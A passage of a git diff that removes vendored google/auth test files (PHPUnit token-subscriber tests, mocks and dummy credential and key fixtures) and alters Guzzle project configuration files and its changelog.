->willReturn($this->mockCacheItem->reveal()); - $this->mockCache->save(Argument::type('Psr\Cache\CacheItemInterface')) - ->willReturn(null); - $this->mockFetcher->getCacheKey() - ->willReturn($cacheKey); - $this->mockFetcher->fetchAuthToken(Argument::any()) - ->willReturn($cachedValue); - - // Run the test - $cachedFetcher = new FetchAuthTokenCache( - $this->mockFetcher->reveal(), - ['prefix' => $prefix, 'lifetime' => $lifetime], - $this->mockCache->reveal() - ); - $a = new AuthTokenSubscriber($cachedFetcher); - $client = new Client(); - $request = $client->createRequest( - 'GET', - 'http://testing.org', - ['auth' => 'google_auth'] - ); - $before = new BeforeEvent(new Transaction($client, $request)); - $a->onBefore($before); - $this->assertSame( - $request->getHeader('authorization'), - 'Bearer ' . $token - ); - } - - /** - * @dataProvider provideShouldNotifyTokenCallback - */ - public function testShouldNotifyTokenCallback(callable $tokenCallback) - { - $prefix = 'test_prefix_'; - $cacheKey = 'myKey'; - $token = '1/abcdef1234567890'; - $cachedValue = ['access_token' => $token]; - $this->mockCacheItem->get() - ->willReturn(null); - $this->mockCacheItem->isHit() - ->willReturn(false); - $this->mockCacheItem->set($cachedValue) - ->willReturn(false); - $this->mockCacheItem->expiresAfter(Argument::any()) - ->willReturn(null); - $this->mockCache->getItem($prefix . $cacheKey) - ->willReturn($this->mockCacheItem->reveal()); - $this->mockCache->save(Argument::type('Psr\Cache\CacheItemInterface')) - ->willReturn(null); - $this->mockFetcher->getCacheKey() - ->willReturn($cacheKey); - $this->mockFetcher->fetchAuthToken(Argument::any()) - ->shouldBeCalledTimes(1) - ->willReturn($cachedValue); - - SubscriberCallback::$expectedKey = $this->getValidKeyName($prefix . $cacheKey); - SubscriberCallback::$expectedValue = $token; - SubscriberCallback::$called = false; - - // Run the test - $cachedFetcher = new FetchAuthTokenCache( - $this->mockFetcher->reveal(), - ['prefix' => $prefix], - $this->mockCache->reveal() - ); - $a = new AuthTokenSubscriber( - $cachedFetcher, - null, - $tokenCallback - ); - - $client = new Client(); - $request = $client->createRequest( - 'GET', - 'http://testing.org', - ['auth' => 'google_auth'] - ); - $before = new BeforeEvent(new Transaction($client, $request)); - $a->onBefore($before); - $this->assertTrue(SubscriberCallback::$called); - } - - public function provideShouldNotifyTokenCallback() - { - SubscriberCallback::$phpunit = $this; - $anonymousFunc = function ($key, $value) { - SubscriberCallback::staticInvoke($key, $value); - }; - return [ - ['Google\Auth\Tests\Subscriber\SubscriberCallbackFunction'], - ['Google\Auth\Tests\Subscriber\SubscriberCallback::staticInvoke'], - [['Google\Auth\Tests\Subscriber\SubscriberCallback', 'staticInvoke']], - [$anonymousFunc], - [[new SubscriberCallback(), 'staticInvoke']], - [[new SubscriberCallback(), 'methodInvoke']], - [new SubscriberCallback()], - ]; - } -} - -class SubscriberCallback -{ - public static $phpunit; - public static $expectedKey; - public static $expectedValue; - public static $called = false; - - public function __invoke($key, $value) - { - self::$phpunit->assertEquals(self::$expectedKey, $key); - self::$phpunit->assertEquals(self::$expectedValue, $value); - self::$called = true; - } - - public function methodInvoke($key, $value) - { - return $this($key, $value); - } - - public static function staticInvoke($key, $value) - { - $instance = new self(); - return $instance($key, $value); - } -} - -function SubscriberCallbackFunction($key, $value) -{ - return SubscriberCallback::staticInvoke($key, $value); -} diff --git a/vendor/google/auth/tests/Subscriber/ScopedAccessTokenSubscriberTest.php b/vendor/google/auth/tests/Subscriber/ScopedAccessTokenSubscriberTest.php deleted file mode 100644 index 446951896e..0000000000 --- a/vendor/google/auth/tests/Subscriber/ScopedAccessTokenSubscriberTest.php +++ /dev/null @@ -1,256 +0,0 @@ -onlyGuzzle5(); - - $this->mockCacheItem = $this->prophesize('Psr\Cache\CacheItemInterface'); - $this->mockCache = $this->prophesize('Psr\Cache\CacheItemPoolInterface'); - $this->mockRequest = $this->prophesize('GuzzleHttp\Psr7\Request'); - } - - /** - * @expectedException InvalidArgumentException - */ - public function testRequiresScopeAsAStringOrArray() - { - $fakeAuthFunc = function ($unused_scopes) { - return '1/abcdef1234567890'; - }; - new ScopedAccessTokenSubscriber($fakeAuthFunc, new \stdClass(), array()); - } - - public function testSubscribesToEvents() - { - $fakeAuthFunc = function ($unused_scopes) { - return '1/abcdef1234567890'; - }; - $s = new ScopedAccessTokenSubscriber($fakeAuthFunc, self::TEST_SCOPE, array()); - $this->assertArrayHasKey('before', $s->getEvents()); - } - - public function testAddsTheTokenAsAnAuthorizationHeader() - { - $fakeAuthFunc = function ($unused_scopes) { - return '1/abcdef1234567890'; - }; - $s = new ScopedAccessTokenSubscriber($fakeAuthFunc, self::TEST_SCOPE, array()); - $client = new Client(); - $request = $client->createRequest( - 'GET', - 'http://testing.org', - ['auth' => 'scoped'] - ); - $before = new BeforeEvent(new Transaction($client, $request)); - $s->onBefore($before); - $this->assertSame( - 'Bearer 1/abcdef1234567890', - $request->getHeader('authorization') - ); - } - - public function testUsesCachedAuthToken() - { - $cachedValue = '2/abcdef1234567890'; - $fakeAuthFunc = function ($unused_scopes) { - return ''; - }; - $this->mockCacheItem->isHit() - ->shouldBeCalledTimes(1) - ->willReturn(true); - $this->mockCacheItem->get() - ->shouldBeCalledTimes(1) - ->willReturn($cachedValue); - $this->mockCache->getItem($this->getValidKeyName(self::TEST_SCOPE)) - ->shouldBeCalledTimes(1) - ->willReturn($this->mockCacheItem->reveal()); - - // Run the test - $s = new ScopedAccessTokenSubscriber( - $fakeAuthFunc, - self::TEST_SCOPE, - [], - $this->mockCache->reveal() - ); - $client = new Client(); - $request = $client->createRequest( - 'GET', - 'http://testing.org', - ['auth' => 'scoped'] - ); - $before = new BeforeEvent(new Transaction($client, $request)); - $s->onBefore($before); - $this->assertSame( - 'Bearer 2/abcdef1234567890', - $request->getHeader('authorization') - ); - } - - public function testGetsCachedAuthTokenUsingCachePrefix() - { - $prefix = 'test_prefix_'; - $cachedValue = '2/abcdef1234567890'; - $fakeAuthFunc = function ($unused_scopes) { - return ''; - }; - $this->mockCacheItem->isHit() - ->shouldBeCalledTimes(1) - ->willReturn(true); - $this->mockCacheItem->get() - ->shouldBeCalledTimes(1) - ->willReturn($cachedValue); - $this->mockCache->getItem($prefix . $this->getValidKeyName(self::TEST_SCOPE)) - ->shouldBeCalledTimes(1) - ->willReturn($this->mockCacheItem->reveal()); - - // Run the test - $s = new ScopedAccessTokenSubscriber( - $fakeAuthFunc, - self::TEST_SCOPE, - ['prefix' => $prefix], - $this->mockCache->reveal() - ); - $client = new Client(); - $request = $client->createRequest( - 'GET', - 'http://testing.org', - ['auth' => 'scoped'] - ); - $before = new BeforeEvent(new Transaction($client, $request)); - $s->onBefore($before); - $this->assertSame( - 'Bearer 2/abcdef1234567890', - $request->getHeader('authorization') - ); - } - - public function testShouldSaveValueInCache() - { - $token = '2/abcdef1234567890'; - $fakeAuthFunc = function ($unused_scopes) { - return '2/abcdef1234567890'; - }; - $this->mockCacheItem->isHit() - ->shouldBeCalledTimes(1) - ->willReturn(false); - $this->mockCacheItem->set($token) - ->shouldBeCalledTimes(1) - ->willReturn(false); - $this->mockCacheItem->expiresAfter(Argument::any()) - ->shouldBeCalledTimes(1); - $this->mockCache->getItem($this->getValidKeyName(self::TEST_SCOPE)) - ->shouldBeCalledTimes(2) - ->willReturn($this->mockCacheItem->reveal()); - $this->mockCache->save(Argument::type('Psr\Cache\CacheItemInterface')) - ->shouldBeCalledTimes(1); - - $s = new ScopedAccessTokenSubscriber( - $fakeAuthFunc, - self::TEST_SCOPE, - [], - $this->mockCache->reveal() - ); - $client = new Client(); - $request = $client->createRequest( - 'GET', - 'http://testing.org', - ['auth' => 'scoped'] - ); - $before = new BeforeEvent(new Transaction($client, $request)); - $s->onBefore($before); - $this->assertSame( - 'Bearer 2/abcdef1234567890', - $request->getHeader('authorization') - ); - } - - public function testShouldSaveValueInCacheWithCacheOptions() - { - $token = '2/abcdef1234567890'; - $prefix = 'test_prefix_'; - $lifetime = '70707'; - $fakeAuthFunc = function ($unused_scopes) { - return '2/abcdef1234567890'; - }; - $this->mockCacheItem->isHit() - ->shouldBeCalledTimes(1) - ->willReturn(false); - $this->mockCacheItem->set($token) - ->shouldBeCalledTimes(1); - $this->mockCacheItem->expiresAfter($lifetime) - ->shouldBeCalledTimes(1); - $this->mockCache->getItem($prefix . $this->getValidKeyName(self::TEST_SCOPE)) - ->willReturn($this->mockCacheItem->reveal()); - $this->mockCache->save(Argument::type('Psr\Cache\CacheItemInterface')) - ->shouldBeCalledTimes(1); - - // Run the test - $s = new ScopedAccessTokenSubscriber( - $fakeAuthFunc, - self::TEST_SCOPE, - ['prefix' => $prefix, 'lifetime' => $lifetime], - $this->mockCache->reveal() - ); - $client = new Client(); - $request = $client->createRequest( - 'GET', - 'http://testing.org', - ['auth' => 'scoped'] - ); - $before = new BeforeEvent(new Transaction($client, $request)); - $s->onBefore($before); - $this->assertSame( - 'Bearer 2/abcdef1234567890', - $request->getHeader('authorization') - ); - } - - public function testOnlyTouchesWhenAuthConfigScoped() - { - $fakeAuthFunc = function ($unused_scopes) { - return '1/abcdef1234567890'; - }; - $s = new ScopedAccessTokenSubscriber($fakeAuthFunc, self::TEST_SCOPE, []); - $client = new Client(); - $request = $client->createRequest( - 'GET', - 'http://testing.org', - ['auth' => 'notscoped'] - ); - $before = new BeforeEvent(new Transaction($client, $request)); - $s->onBefore($before); - $this->assertSame('', $request->getHeader('authorization')); - } -} diff --git a/vendor/google/auth/tests/Subscriber/SimpleSubscriberTest.php b/vendor/google/auth/tests/Subscriber/SimpleSubscriberTest.php deleted file mode 100644 index 6f1c153081..0000000000 --- a/vendor/google/auth/tests/Subscriber/SimpleSubscriberTest.php +++ /dev/null @@ -1,76 +0,0 @@ -onlyGuzzle5(); - } - - /** - * @expectedException InvalidArgumentException - */ - public function testRequiresADeveloperKey() - { - new SimpleSubscriber(['not_key' => 'a test key']); - } - - public function testSubscribesToEvents() - { - $events = (new SimpleSubscriber(['key' => 'a test key']))->getEvents(); - $this->assertArrayHasKey('before', $events); - } - - public function testAddsTheKeyToTheQuery() - { - $s = new SimpleSubscriber(['key' => 'test_key']); - $client = new Client(); - $request = $client->createRequest( - 'GET', - 'http://testing.org', - ['auth' => 'simple'] - ); - $before = new BeforeEvent(new Transaction($client, $request)); - $s->onBefore($before); - $this->assertCount(1, $request->getQuery()); - $this->assertTrue($request->getQuery()->hasKey('key')); - $this->assertSame($request->getQuery()->get('key'), 'test_key'); - } - - public function testOnlyTouchesWhenAuthConfigIsSimple() - { - $s = new SimpleSubscriber(['key' => 'test_key']); - $client = new Client(); - $request = $client->createRequest( - 'GET', - 'http://testing.org', - ['auth' => 'notsimple'] - ); - $before = new BeforeEvent(new Transaction($client, $request)); - $s->onBefore($before); - $this->assertCount(0, $request->getQuery()); - } -} diff --git a/vendor/google/auth/tests/bootstrap.php b/vendor/google/auth/tests/bootstrap.php deleted file mode 100644 index ca0a44348d..0000000000 --- a/vendor/google/auth/tests/bootstrap.php +++ /dev/null @@ -1,52 +0,0 @@ - $handler]); - - return new \Google\Auth\HttpHandler\Guzzle6HttpHandler($client); - } - - $client = new \GuzzleHttp\Client(); - $client->getEmitter()->attach( - new \GuzzleHttp\Subscriber\Mock($mockResponses) - ); - - return new \Google\Auth\HttpHandler\Guzzle5HttpHandler($client); -} diff --git a/vendor/google/auth/tests/fixtures/.config/gcloud/application_default_credentials.json b/vendor/google/auth/tests/fixtures/.config/gcloud/application_default_credentials.json deleted file mode 100644 index b3a4cfa34c..0000000000 --- a/vendor/google/auth/tests/fixtures/.config/gcloud/application_default_credentials.json +++ /dev/null @@ -1,7 +0,0 @@ -{ - "private_key_id": "key123", - "private_key": "privatekey", - "client_email": "hello@youarecool.com", - "client_id": "client123", - "type": "service_account" -} \ No newline at end of file diff --git a/vendor/google/auth/tests/fixtures/federated-certs.json b/vendor/google/auth/tests/fixtures/federated-certs.json deleted file mode 100644 index c4c396725c..0000000000 --- a/vendor/google/auth/tests/fixtures/federated-certs.json +++ /dev/null @@ -1,20 +0,0 @@ -{ - "keys": [ - { - "kid": "05a02649a5b45c90fdfe4da1ebefa9c079ab593e", - "e": "AQAB", - "kty": "RSA", - "alg": "RS256", - "n": "testdata-1", - "use": "sig" - }, - { - "kid": "2bf8418b2963f366f5fefdd127b2cee07c887e65", - "e": "AQAB", - "kty": "RSA", - "alg": "RS256", - "n": "testdata-2", - "use": "sig" - } - ] -} diff --git a/vendor/google/auth/tests/fixtures/private.json b/vendor/google/auth/tests/fixtures/private.json deleted file mode 100644 index 615133ab6b..0000000000 --- a/vendor/google/auth/tests/fixtures/private.json +++ /dev/null @@ -1,8 +0,0 @@ -{ - "private_key_id": "key123", - "private_key": "privatekey", - "client_email": "hello@youarecool.com", - "client_id": "client123", - "type": "service_account", - "quota_project_id": "test_quota_project" -} diff --git a/vendor/google/auth/tests/fixtures/private.pem b/vendor/google/auth/tests/fixtures/private.pem deleted file mode 100644 index 00a658fe7a..0000000000 --- a/vendor/google/auth/tests/fixtures/private.pem +++ /dev/null @@ -1,15 +0,0 @@ ------BEGIN RSA PRIVATE KEY----- -MIICXQIBAAKBgQDzU+jLTzW6154Joezxrd2+5pCNYP0HcaMoYqEyXfNRpkNE7wrQ -UEG830o4Qcaae2BhqZoujwSW7RkR6h0Fkd0WTR8h5J8rSGNHv/1jJoUUjP9iZ/5S -FAyIIyEYfDPqtnA4iF1QWO2lXWlEFSuZjwM/8jBmeGzoiw17akNThIw8NwIDAQAB -AoGATpboVloEAY/IdFX/QGOmfhTb1T3hG3lheBa695iOkO2BRo9qT7PMN6NqxlbA -PX7ht0lfCfCZS+HSOg4CR50/6WXHMSmwlvcjGuDIDKWjviQTTYE77MlVBQHw9WzY -PfiRBbtouyPGQtO4rk42zkIILC6exBZ1vKpRPOmTAnxrjCECQQD+56r6hYcS6GNp -NOWyv0eVFMBX4iNWAsRf9JVVvGDz2rVuhnkNiN73vfffDWvSXkCydL1jFmalgdQD -gm77UZQHAkEA9F+CauU0aZsJ1SthQ6H0sDQ+eNRUgnz4itnkSC2C20fZ3DaSpCMC -0go81CcZOhftNO730ILqiS67C3d3rqLqUQJBAP10ROHMmz4Fq7MUUcClyPtHIuk/ -hXskTTZL76DMKmrN8NDxDLSUf38+eJRkt+z4osPOp/E6eN3gdXr32nox50kCQCl8 -hXGMU+eR0IuF/88xkY7Qb8KnmWlFuhQohZ7TSyHbAttl0GNZJkNuRYFm2duI8FZK -M3wMnbCIZGy/7WuScOECQQCV+0yrf5dL1M2GHjJfwuTb00wRKalKQEH1v/kvE5vS -FmdN7BPK5Ra50MaecMNoYqu9rmtyWRBn93dcvKrL57nY ------END RSA PRIVATE KEY----- diff --git a/vendor/google/auth/tests/fixtures/public.pem b/vendor/google/auth/tests/fixtures/public.pem deleted file mode 100644 index 00a8f7af89..0000000000 --- a/vendor/google/auth/tests/fixtures/public.pem +++ /dev/null @@ -1,6 +0,0 @@ ------BEGIN PUBLIC KEY----- -MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDzU+jLTzW6154Joezxrd2+5pCN -YP0HcaMoYqEyXfNRpkNE7wrQUEG830o4Qcaae2BhqZoujwSW7RkR6h0Fkd0WTR8h -5J8rSGNHv/1jJoUUjP9iZ/5SFAyIIyEYfDPqtnA4iF1QWO2lXWlEFSuZjwM/8jBm -eGzoiw17akNThIw8NwIDAQAB ------END PUBLIC KEY----- diff --git a/vendor/google/auth/tests/fixtures2/.config/gcloud/application_default_credentials.json b/vendor/google/auth/tests/fixtures2/.config/gcloud/application_default_credentials.json deleted file mode 100644 index 5b5063d84b..0000000000 --- a/vendor/google/auth/tests/fixtures2/.config/gcloud/application_default_credentials.json +++ /dev/null @@ -1,6 +0,0 @@ -{ - "client_id": "client123", - "client_secret": "clientSecret123", - "refresh_token": "refreshToken123", - "type": "authorized_user" -} diff --git a/vendor/google/auth/tests/fixtures2/gcloud.json b/vendor/google/auth/tests/fixtures2/gcloud.json deleted file mode 100644 index 8f210b4a48..0000000000 --- a/vendor/google/auth/tests/fixtures2/gcloud.json +++ /dev/null @@ -1,6 +0,0 @@ -{ - "client_id": "764086051850-6qr4p6gpi6hn506pt8ejuq83di341hur.apps.googleusercontent.com", - "client_secret": "dummy_client_secret", - "refresh_token": "dummy_refresh_token", - "type": "authorized_user" -} diff --git a/vendor/google/auth/tests/fixtures2/private.json b/vendor/google/auth/tests/fixtures2/private.json deleted file mode 100644 index c50e247aef..0000000000 --- a/vendor/google/auth/tests/fixtures2/private.json +++ /dev/null @@ -1,7 +0,0 @@ -{ - "client_id": "client123", - "client_secret": "clientSecret123", - "refresh_token": "refreshToken123", - "type": "authorized_user", - "quota_project_id": "test_quota_project" -} diff --git a/vendor/google/auth/tests/fixtures2/valid_oauth_creds.json b/vendor/google/auth/tests/fixtures2/valid_oauth_creds.json deleted file mode 100644 index cc9946c417..0000000000 --- a/vendor/google/auth/tests/fixtures2/valid_oauth_creds.json +++ /dev/null @@ -1,6 +0,0 @@ -{ - "client_id": "valid.apps.googleusercontent.com", - "client_secret": "dummy_client_secret", - "refresh_token": "dummy_refresh_token", - "type": "authorized_user" -} diff --git a/vendor/google/auth/tests/fixtures3/key.pub b/vendor/google/auth/tests/fixtures3/key.pub deleted file mode 100644 index 7292313ed8..0000000000 --- a/vendor/google/auth/tests/fixtures3/key.pub +++ /dev/null @@ -1,6 +0,0 @@ ------BEGIN PUBLIC KEY----- -MIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgGhw1WMos5gp2YjV7+fNwXN1tI4/ -DFXKzwY6TDWsPxkbyfjHgunX/sijlnJt3Qs1gBxiwEEjzFFlp39O3/gEbIoYWHR/ -4sZdqNRFzbhJcTpnUvRlZDBLE5h8f5uu4aL4D32WyiELF/vpr533lZCBwWsnN3zI -YJxThgRF9i/R7F8tAgMBAAE= ------END PUBLIC KEY----- \ No newline at end of file diff --git a/vendor/google/auth/tests/fixtures3/service_account_credentials.json b/vendor/google/auth/tests/fixtures3/service_account_credentials.json deleted file mode 100644 index 0cfc5527ac..0000000000 --- a/vendor/google/auth/tests/fixtures3/service_account_credentials.json +++ /dev/null @@ -1,5 +0,0 @@ -{ - "type": "service_account", - "private_key": "-----BEGIN RSA PRIVATE KEY-----\nMIICWgIBAAKBgGhw1WMos5gp2YjV7+fNwXN1tI4/DFXKzwY6TDWsPxkbyfjHgunX\n/sijlnJt3Qs1gBxiwEEjzFFlp39O3/gEbIoYWHR/4sZdqNRFzbhJcTpnUvRlZDBL\nE5h8f5uu4aL4D32WyiELF/vpr533lZCBwWsnN3zIYJxThgRF9i/R7F8tAgMBAAEC\ngYAgUyv4cNSFOA64J18FY82IKtojXKg4tXi1+L01r4YoA03TzgxazBtzhg4+hHpx\nybFJF9dhUe8fElNxN7xiSxw8i5MnfPl+piwbfoENhgrzU0/N14AV/4Pq+WAJQe2M\nxPcI1DPYMEwGjX2PmxqnkC47MyR9agX21YZVc9rpRCgPgQJBALodH492I0ydvEUs\ngT+3DkNqoWx3O3vut7a0+6k+RkM1Yu+hGI8RQDCGwcGhQlOpqJkYGsVegZbxT+AF\nvvIFrIUCQQCPqJbRalHK/QnVj4uovj6JvjTkqFSugfztB4Zm/BPT2eEpjLt+851d\nIJ4brK/HVkQT2zk9eb0YzIBfeQi9WpyJAkB9+BRSf72or+KsV1EsFPScgOG9jn4+\nhfbmvVzQ0ouwFcRfOQRsYVq2/Z7LNiC0i9LHvF7yU+MWjUJo+LqjCWAZAkBHearo\nMIzXgQRGlC/5WgZFhDRO3A2d8aDE0eymCp9W1V24zYNwC4dtEVB5Fncyp5Ihiv40\nvwA9eWoZll+pzo55AkBMMdk95skWeaRv8T0G1duv5VQ7q4us2S2TKbEbC8j83BTP\nNefc3KEugylyAjx24ydxARZXznPi1SFeYVx1KCMZ\n-----END RSA PRIVATE KEY-----\n", - "client_email": "testing@example.com" -} \ No newline at end of file diff --git a/vendor/google/auth/tests/fixtures4/invalidcmd/.secureConnect/context_aware_metadata.json b/vendor/google/auth/tests/fixtures4/invalidcmd/.secureConnect/context_aware_metadata.json deleted file mode 100644 index ef4290de3f..0000000000 --- a/vendor/google/auth/tests/fixtures4/invalidcmd/.secureConnect/context_aware_metadata.json +++ /dev/null @@ -1 +0,0 @@ -{"cert_provider_command":["invalid command", "2>", "/dev/null"]} \ No newline at end of file diff --git a/vendor/google/auth/tests/fixtures4/invalidjson/.secureConnect/context_aware_metadata.json b/vendor/google/auth/tests/fixtures4/invalidjson/.secureConnect/context_aware_metadata.json deleted file mode 100644 index 8c8155222d..0000000000 --- a/vendor/google/auth/tests/fixtures4/invalidjson/.secureConnect/context_aware_metadata.json +++ /dev/null @@ -1 +0,0 @@ -this is not json \ No newline at end of file diff --git a/vendor/google/auth/tests/fixtures4/invalidkey/.secureConnect/context_aware_metadata.json b/vendor/google/auth/tests/fixtures4/invalidkey/.secureConnect/context_aware_metadata.json deleted file mode 100644 index 58fec93495..0000000000 --- a/vendor/google/auth/tests/fixtures4/invalidkey/.secureConnect/context_aware_metadata.json +++ /dev/null @@ -1 +0,0 @@ -{"this-is-the-wrong-key":["echo","foo"]} \ No newline at end of file diff --git a/vendor/google/auth/tests/fixtures4/invalidvalue/.secureConnect/context_aware_metadata.json b/vendor/google/auth/tests/fixtures4/invalidvalue/.secureConnect/context_aware_metadata.json deleted file mode 100644 index 05f393d92c..0000000000 --- a/vendor/google/auth/tests/fixtures4/invalidvalue/.secureConnect/context_aware_metadata.json +++ /dev/null @@ -1 +0,0 @@ -{"cert_provider_command":"this is the wrong value"} \ No newline at end of file diff --git a/vendor/google/auth/tests/fixtures4/valid/.secureConnect/context_aware_metadata.json b/vendor/google/auth/tests/fixtures4/valid/.secureConnect/context_aware_metadata.json deleted file mode 100644 index 43e3b48ea1..0000000000 --- a/vendor/google/auth/tests/fixtures4/valid/.secureConnect/context_aware_metadata.json +++ /dev/null @@ -1 +0,0 @@ -{"cert_provider_command":["echo","foo"]} \ No newline at end of file diff --git a/vendor/google/auth/tests/mocks/AppIdentityService.php b/vendor/google/auth/tests/mocks/AppIdentityService.php deleted file mode 100644 index 208e4366b3..0000000000 --- a/vendor/google/auth/tests/mocks/AppIdentityService.php +++ /dev/null @@ -1,38 +0,0 @@ - 'xyz', - 'expiration_time' => '2147483646', - ]; - public static $serviceAccountName; - public static $applicationId; - - public static function getAccessToken($scope) - { - self::$scope = $scope; - - return self::$accessToken; - } - - public static function signForApp($stringToSign) - { - return [ - 'signature' => 'Signed: ' . $stringToSign - ]; - } - - public static function getServiceAccountName() - { - return self::$serviceAccountName; - } - - public static function getApplicationId() - { - return self::$applicationId; - } -} diff --git a/vendor/guzzlehttp/guzzle/.editorconfig b/vendor/guzzlehttp/guzzle/.editorconfig deleted file mode 100644 index c290145ae5..0000000000 --- a/vendor/guzzlehttp/guzzle/.editorconfig +++ /dev/null @@ -1,11 +0,0 @@ -# EditorConfig is awesome: http://EditorConfig.org - -# top-most EditorConfig file -root = true - -# Unix-style newlines with a newline ending for every file -# Indent with 4 spaces -[php] -end_of_line = lf -indent_style = space -indent_size = 4 diff --git a/vendor/guzzlehttp/guzzle/.php_cs b/vendor/guzzlehttp/guzzle/.php_cs index 945724bf83..2dd5036c1f 100644 --- a/vendor/guzzlehttp/guzzle/.php_cs +++ b/vendor/guzzlehttp/guzzle/.php_cs @@ -1,23 +1,23 @@ -setRiskyAllowed(true) - ->setRules([ - '@PSR2' => true, - 'array_syntax' => ['syntax' => 'short'], - 'declare_strict_types' => false, - 'concat_space' => ['spacing'=>'one'], - 'php_unit_test_case_static_method_calls' => ['call_type' => 'self'], - 'ordered_imports' => true, - // 'phpdoc_align' => ['align'=>'vertical'], - // 'native_function_invocation' => true, - ]) - ->setFinder( - PhpCsFixer\Finder::create() - ->in(__DIR__.'/src') - ->in(__DIR__.'/tests') - ->name('*.php') - ) -; - -return $config; +setRiskyAllowed(true) + ->setRules([ + '@PSR2' => true, + 'array_syntax' => ['syntax' => 'short'], + 'declare_strict_types' => false, + 'concat_space' => ['spacing'=>'one'], + 'php_unit_test_case_static_method_calls' => ['call_type' => 'self'], + 'ordered_imports' => true, + // 'phpdoc_align' => ['align'=>'vertical'], + // 'native_function_invocation' => true, + ]) + ->setFinder( + PhpCsFixer\Finder::create() + ->in(__DIR__.'/src') + ->in(__DIR__.'/tests') + ->name('*.php') + ) +; + +return $config; diff --git a/vendor/guzzlehttp/guzzle/.travis.yml b/vendor/guzzlehttp/guzzle/.travis.yml deleted file mode 100644 index 04510638da..0000000000 --- a/vendor/guzzlehttp/guzzle/.travis.yml +++ /dev/null @@ -1,56 +0,0 @@ -language: php - -matrix: - include: - - php: 5.5 - dist: trusty - - php: 5.6 - dist: xenial - - php: 7.0 - dist: xenial - - php: 7.1 - dist: bionic - - php: 7.2 - dist: bionic - - php: 7.3 - dist: bionic - - php: 7.4 - dist: bionic - - php: nightly - dist: bionic - env: COMPOSER_ARGS="--ignore-platform-reqs" - - php: hhvm-3.24 - dist: trusty - allow_failures: - - php: hhvm-3.24 - - php: nightly - fast_finish: true - -install: - - if [[ "$TRAVIS_PHP_VERSION" != "hhvm-3.24" || "$TRAVIS_PHP_VERSION" != "nightly" ]]; then echo "xdebug.overload_var_dump = 1" >> ~/.phpenv/versions/$(phpenv version-name)/etc/php.ini || true; fi - - composer install --prefer-dist $COMPOSER_ARGS - - ~/.nvm/nvm.sh install v10.18.0 - - ~/.nvm/nvm.sh run v10.18.0 - -before_script: - - curl --version - -script: - - make test - -before_deploy: - - make package - -deploy: - provider: releases - skip_cleanup: true - api_key: - secure: mz9H1B4cPH7dW9hTzgHnbh75+HJ6fJZ9S/1nMWFaqgj5C0wDzTqkJ+BbwiCEiqXGh6VGZbM4EmO1/wnZ7B+Hk8zsB1PP+GKVkq8+7a/261o60W3OS4gQpZQ9R68dyEO1EyZBJvL1Lzc03rkt/0WnKiAjg7nsc1j4aLKhWMDQ6x8= - file: - - build/artifacts/guzzle.phar - - build/artifacts/guzzle.zip - on: - repo: guzzle/guzzle - tags: true - all_branches: true - php: 5.5 diff --git a/vendor/guzzlehttp/guzzle/CHANGELOG.md b/vendor/guzzlehttp/guzzle/CHANGELOG.md index 084ca97fd8..464cf1c500 100644 --- a/vendor/guzzlehttp/guzzle/CHANGELOG.md +++ b/vendor/guzzlehttp/guzzle/CHANGELOG.md @@ -1,1338 +1,1338 @@ -# Change Log - -## 6.5.5 - 2020-06-16 - -* Unpin version constraint for `symfony/polyfill-intl-idn` [#2678](https://github.com/guzzle/guzzle/pull/2678) - -## 6.5.4 - 2020-05-25 - -* Fix various intl icu issues [#2626](https://github.com/guzzle/guzzle/pull/2626) - -## 6.5.3 - 2020-04-18 - -* Use Symfony intl-idn polyfill [#2550](https://github.com/guzzle/guzzle/pull/2550) -* Remove use of internal functions [#2548](https://github.com/guzzle/guzzle/pull/2548) - -## 6.5.2 - 2019-12-23 - -* idn_to_ascii() fix for old PHP versions [#2489](https://github.com/guzzle/guzzle/pull/2489) - -## 6.5.1 - 2019-12-21 - -* Better defaults for PHP installations with old ICU lib [#2454](https://github.com/guzzle/guzzle/pull/2454) -* IDN support for redirects [#2424](https://github.com/guzzle/guzzle/pull/2424) - -## 6.5.0 - 2019-12-07 - -* Improvement: Added support for reset internal queue in MockHandler. [#2143](https://github.com/guzzle/guzzle/pull/2143) -* Improvement: Added support to pass arbitrary options to `curl_multi_init`. [#2287](https://github.com/guzzle/guzzle/pull/2287) -* Fix: Gracefully handle passing `null` to the `header` option. [#2132](https://github.com/guzzle/guzzle/pull/2132) -* Fix: `RetryMiddleware` did not do exponential delay between retries due unit mismatch. [#2132](https://github.com/guzzle/guzzle/pull/2132) - Previously, `RetryMiddleware` would sleep for 1 millisecond, then 2 milliseconds, then 4 milliseconds. - **After this change, `RetryMiddleware` will sleep for 1 second, then 2 seconds, then 4 seconds.** - `Middleware::retry()` accepts a second callback parameter to override the default timeouts if needed. -* Fix: Prevent undefined offset when using array for ssl_key options. [#2348](https://github.com/guzzle/guzzle/pull/2348) -* Deprecated `ClientInterface::VERSION` - -## 6.4.1 - 2019-10-23 - -* No `guzzle.phar` was created in 6.4.0 due expired API token. This release will fix that -* Added `parent::__construct()` to `FileCookieJar` and `SessionCookieJar` - -## 6.4.0 - 2019-10-23 - -* Improvement: Improved error messages when using curl < 7.21.2 [#2108](https://github.com/guzzle/guzzle/pull/2108) -* Fix: Test if response is readable before returning a summary in `RequestException::getResponseBodySummary()` [#2081](https://github.com/guzzle/guzzle/pull/2081) -* Fix: Add support for GUZZLE_CURL_SELECT_TIMEOUT environment variable [#2161](https://github.com/guzzle/guzzle/pull/2161) -* Improvement: Added `GuzzleHttp\Exception\InvalidArgumentException` [#2163](https://github.com/guzzle/guzzle/pull/2163) -* Improvement: Added `GuzzleHttp\_current_time()` to use `hrtime()` if that function exists. [#2242](https://github.com/guzzle/guzzle/pull/2242) -* Improvement: Added curl's `appconnect_time` in `TransferStats` [#2284](https://github.com/guzzle/guzzle/pull/2284) -* Improvement: Make GuzzleException extend Throwable wherever it's available [#2273](https://github.com/guzzle/guzzle/pull/2273) -* Fix: Prevent concurrent writes to file when saving `CookieJar` [#2335](https://github.com/guzzle/guzzle/pull/2335) -* Improvement: Update `MockHandler` so we can test transfer time [#2362](https://github.com/guzzle/guzzle/pull/2362) - -## 6.3.3 - 2018-04-22 - -* Fix: Default headers when decode_content is specified - - -## 6.3.2 - 2018-03-26 - -* Fix: Release process - - -## 6.3.1 - 2018-03-26 - -* Bug fix: Parsing 0 epoch expiry times in cookies [#2014](https://github.com/guzzle/guzzle/pull/2014) -* Improvement: Better ConnectException detection [#2012](https://github.com/guzzle/guzzle/pull/2012) -* Bug fix: Malformed domain that contains a "/" 